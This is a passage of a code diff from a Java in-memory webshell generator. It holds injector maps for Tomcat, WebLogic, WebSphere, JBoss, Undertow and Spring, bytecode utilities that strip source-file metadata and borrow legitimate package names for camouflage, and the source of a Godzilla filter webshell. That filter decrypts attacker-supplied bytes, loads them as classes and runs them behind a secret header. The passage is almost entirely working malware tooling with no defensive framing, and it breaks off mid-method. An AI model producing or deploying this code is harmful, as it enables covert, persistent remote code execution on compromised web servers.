INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> tomcatMap = new HashMap();
|
||||||
|
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
||||||
|
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
||||||
|
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> undertowMap = new HashMap();
|
||||||
|
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
|
||||||
|
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> weblogicMap = new HashMap();
|
||||||
|
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
|
||||||
|
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> websphereMap = new HashMap();
|
||||||
|
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
|
||||||
|
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> jbossMap = new HashMap();
|
||||||
|
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
|
||||||
|
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_JBOSS, jbossMap);
|
||||||
|
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
|
||||||
|
Map<String, String> springMVCMap = new HashMap();
|
||||||
|
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
|
||||||
|
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
|
||||||
|
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
|
||||||
|
Map<String, String> springWebFluxMap = new HashMap();
|
||||||
|
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
|
||||||
|
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,167 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import javassist.*;
|
||||||
|
import javassist.bytecode.*;
|
||||||
|
import javassist.bytecode.annotation.Annotation;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* javassist 工具类
|
||||||
|
*/
|
||||||
|
public class JavassistUtil {
|
||||||
|
|
||||||
|
private static ClassPool pool = ClassPool.getDefault();
|
||||||
|
|
||||||
|
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
try {
|
||||||
|
// 已存在,修改
|
||||||
|
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
|
||||||
|
ctMethod.setBody(methodBody);
|
||||||
|
} catch (NotFoundException ignored) {
|
||||||
|
// 不存在,直接添加
|
||||||
|
CtMethod method = CtNewMethod.make(methodBody, ctClass);
|
||||||
|
ctClass.addMethod(method);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
try {
|
||||||
|
// 已存在,删除
|
||||||
|
CtField field = ctClass.getDeclaredField(fieldName);
|
||||||
|
ctClass.removeField(field);
|
||||||
|
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||||
|
try {
|
||||||
|
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||||
|
defField.setModifiers(Modifier.PUBLIC);
|
||||||
|
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (NotFoundException ignored) {
|
||||||
|
// // 不存在,直接添加
|
||||||
|
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||||
|
|
||||||
|
try {
|
||||||
|
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||||
|
defField.setModifiers(Modifier.STATIC);
|
||||||
|
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
try {
|
||||||
|
// 已存在,删除
|
||||||
|
CtField field = ctClass.getDeclaredField(fieldName);
|
||||||
|
ctClass.removeField(field);
|
||||||
|
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||||
|
try {
|
||||||
|
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||||
|
defField.setModifiers(Modifier.PUBLIC);
|
||||||
|
defField.setModifiers(Modifier.STATIC);
|
||||||
|
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (NotFoundException ignored) {
|
||||||
|
// // 不存在,直接添加
|
||||||
|
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||||
|
|
||||||
|
try {
|
||||||
|
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||||
|
defField.setModifiers(Modifier.STATIC);
|
||||||
|
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
CtClass interfaceClass = pool.makeClass(superClassName);
|
||||||
|
ctClass.setSuperclass(pool.get(interfaceClass.getName()));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
|
||||||
|
CtClass interfaceClass = pool.makeInterface(interfaceClassName);
|
||||||
|
CtClass[] ctClasses = new CtClass[]{interfaceClass};
|
||||||
|
ctClass.setInterfaces(ctClasses);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||||
|
ctClass.defrost();
|
||||||
|
ClassFile classFile = ctClass.getClassFile();
|
||||||
|
ConstPool constPool = classFile.getConstPool();
|
||||||
|
AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
|
||||||
|
Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
|
||||||
|
clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
|
||||||
|
ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// 删除内存马 SourceFileAttribute (源文件名) 信息
|
||||||
|
public static void removeSourceFileAttribute(CtClass ctClass) {
|
||||||
|
ctClass.defrost();
|
||||||
|
ClassFile classFile = ctClass.getClassFile2();
|
||||||
|
|
||||||
|
try {
|
||||||
|
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
|
||||||
|
CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
// 兼容 javassist v3.20 及以下
|
||||||
|
List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
|
||||||
|
removeAttribute(attributes, SourceFileAttribute.tag);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
|
||||||
|
if (attributes == null) return null;
|
||||||
|
|
||||||
|
for (AttributeInfo ai : attributes)
|
||||||
|
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||||
|
if (fieldValue != null) {
|
||||||
|
JavassistUtil.addField(ctClass, fieldName, fieldValue);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||||
|
if (fieldValue != null) {
|
||||||
|
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
|
||||||
|
if (className != null) {
|
||||||
|
ctClass.setName(className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String convertClassNameToFilePath(String className) {
|
||||||
|
return className.replace(".", "/");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
public class PackageNameUtil {
|
||||||
|
|
||||||
|
private static final String[] packageNames = {
|
||||||
|
"org.springframework",
|
||||||
|
"org.apache.commons",
|
||||||
|
"org.apache.logging",
|
||||||
|
"org.apache",
|
||||||
|
"com.fasterxml.jackson",
|
||||||
|
"org.junit",
|
||||||
|
"org.apache.commons.lang",
|
||||||
|
"org.apache.http.client",
|
||||||
|
"com.google.gso",
|
||||||
|
"ch.qos.logback"
|
||||||
|
};
|
||||||
|
|
||||||
|
public static String generatePackageName() {
|
||||||
|
Random random = new Random();
|
||||||
|
String packageName = packageNames[random.nextInt(packageNames.length)];
|
||||||
|
return packageName;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String getRandomPackageName() {
|
||||||
|
return generatePackageName();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import java.util.AbstractMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
|
||||||
|
public class RandomHttpHeaderUtil {
|
||||||
|
|
||||||
|
private static final Random RANDOM = new Random();
|
||||||
|
|
||||||
|
public static Map.Entry<String, String> generateHeader() {
|
||||||
|
String key = generateRandomKey();
|
||||||
|
String value = generateRandomValue(key);
|
||||||
|
return new AbstractMap.SimpleEntry<>(key, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String generateRandomKey() {
|
||||||
|
String[] keys = {"Referer","User-Agent"};
|
||||||
|
return keys[RANDOM.nextInt(keys.length)];
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String generateRandomValue(String key) {
|
||||||
|
switch (key) {
|
||||||
|
case "Referer":
|
||||||
|
case "User-Agent":
|
||||||
|
return generateRandomValue();
|
||||||
|
default:
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String generateRandomValue() {
|
||||||
|
return CommonUtil.genRandomLengthString(4);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,75 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
|
public class ResponseUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
|
||||||
|
|
||||||
|
static {
|
||||||
|
METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("resin", getResinMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
|
||||||
|
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getMethodBody(String serverType) {
|
||||||
|
return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getCommonMethodBody() {
|
||||||
|
return "{javax.servlet.http.HttpServletResponse response = null;" +
|
||||||
|
" try {" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
|
||||||
|
" } catch (Exception ex) {" +
|
||||||
|
" try {" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
|
||||||
|
" } catch (Exception ex1) {" +
|
||||||
|
" }" +
|
||||||
|
" }" +
|
||||||
|
" return response;}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getResinMethodBody() {
|
||||||
|
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
|
||||||
|
" return response;}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getJettyMethodBody() {
|
||||||
|
return "{javax.servlet.http.HttpServletResponse response;\n" +
|
||||||
|
" try{\n" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
|
||||||
|
" }catch (Exception e){\n" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
|
||||||
|
" }\n" +
|
||||||
|
" return response;}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getWebsphereMethodBody() {
|
||||||
|
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
|
||||||
|
" return response;}";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static String getUndertowMethodBody() {
|
||||||
|
return "{javax.servlet.http.HttpServletResponse response = null;\n" +
|
||||||
|
"java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
|
||||||
|
"Object[] keys = map.keySet().toArray();\n" +
|
||||||
|
"for (int i = 0; i < keys.length; i++) {\n" +
|
||||||
|
" Object key = keys[i];\n" +
|
||||||
|
" if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
|
||||||
|
" response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
|
||||||
|
" break;\n" +
|
||||||
|
" }\n" +
|
||||||
|
"}\n" +
|
||||||
|
"return response;}";
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
package org.springframework.web.servlet;
|
||||||
|
|
||||||
|
public interface AsyncHandlerInterceptor {
|
||||||
|
}
|
||||||
Binary file not shown.
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-custom</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package jmg.custom.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
|
||||||
|
import javax.servlet.Filter;
|
||||||
|
import javax.servlet.ServletRequestListener;
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
|
||||||
|
public class CustomGenerator implements IShellGenerator {
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
File f;
|
||||||
|
try {
|
||||||
|
f = new File(config.getClassFilePath());
|
||||||
|
if (!f.exists() || !f.isFile()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ClassPool classPool = ClassPool.getDefault();
|
||||||
|
classPool.insertClassPath(new ClassClassPath(Filter.class));
|
||||||
|
classPool.insertClassPath(new ClassClassPath(ServletRequestListener.class));
|
||||||
|
classPool.makeInterface("org.springframework.web.servlet.AsyncHandlerInterceptor");
|
||||||
|
classPool.makeInterface("org.springframework.web.servlet.HandlerInterceptor");
|
||||||
|
String filePath = config.getClassFilePath();
|
||||||
|
CtClass ctClass = classPool.makeClass(new DataInputStream(new FileInputStream(filePath)));
|
||||||
|
config.setShellClassName(ctClass.getName());
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
byte[] bytes = CommonUtil.getFileBytes(config.getClassFilePath());
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
|||||||
|
todo
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 49 KiB |
@@ -0,0 +1,21 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<parent>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>java-memshell-generator</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
</parent>
|
||||||
|
<artifactId>jmg-godzilla</artifactId>
|
||||||
|
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>jmg</groupId>
|
||||||
|
<artifactId>jmg-core</artifactId>
|
||||||
|
<version>${revision}</version>
|
||||||
|
<scope>compile</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package jmg.godzilla.generator;
|
||||||
|
|
||||||
|
import javassist.ClassClassPath;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.godzilla.util.ShellUtil;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.generator.IShellGenerator;
|
||||||
|
import jmg.core.util.CommonUtil;
|
||||||
|
import jmg.core.util.JavassistUtil;
|
||||||
|
import jmg.core.util.ResponseUtil;
|
||||||
|
import me.gv7.woodpecker.tools.common.FileUtil;
|
||||||
|
|
||||||
|
public class GodzillaGenerator implements IShellGenerator {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void initShell(AbstractConfig config) {
|
||||||
|
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||||
|
if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||||
|
initShell(config);
|
||||||
|
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||||
|
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||||
|
byte[] bytes = modifyShell(shellClassName, config);
|
||||||
|
config.setShellBytes(bytes);
|
||||||
|
config.setShellBytesLength(bytes.length);
|
||||||
|
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||||
|
byte[] bytes = new byte[0];
|
||||||
|
try {
|
||||||
|
pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class));
|
||||||
|
CtClass ctClass = pool.getCtClass(className);
|
||||||
|
// lambda 表达式
|
||||||
|
if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||||
|
ctClass.getClassFile().setVersionToJava5();
|
||||||
|
}
|
||||||
|
JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass());
|
||||||
|
JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16));
|
||||||
|
|
||||||
|
if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||||
|
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||||
|
}
|
||||||
|
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||||
|
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||||
|
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||||
|
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||||
|
}
|
||||||
|
|
||||||
|
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||||
|
bytes = ctClass.toBytecode();
|
||||||
|
ctClass.detach();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,139 @@
|
|||||||
|
package jmg.godzilla.memshell;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.*;
|
||||||
|
import javax.servlet.http.Cookie;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
|
||||||
|
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||||
|
|
||||||
|
public static String key;
|
||||||
|
public static String pass;
|
||||||
|
public static String md5;
|
||||||
|
|
||||||
|
public String headerName;
|
||||||
|
|
||||||
|
public String headerValue;
|
||||||
|
|
||||||
|
|
||||||
|
static {
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaFilter() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaFilter(ClassLoader z) {
|
||||||
|
super(z);
|
||||||
|
md5 = md5(pass + key);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String md5(String s) {
|
||||||
|
String ret = null;
|
||||||
|
try {
|
||||||
|
MessageDigest m = MessageDigest.getInstance("MD5");
|
||||||
|
m.update(s.getBytes(), 0, s.length());
|
||||||
|
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
|
||||||
|
} catch (Exception var3) {
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||||
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (InstantiationException | IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
// 修复使用 Godzilla 插件时 "evalClass is null" 的 Bug, f.equals(data); -> f.equals(request);
|
||||||
|
// f.equals(data);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
|
||||||
|
} else {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
chain.doFilter(servletRequest, servletResponse);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] base64Decode(String str) throws Exception {
|
||||||
|
try {
|
||||||
|
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
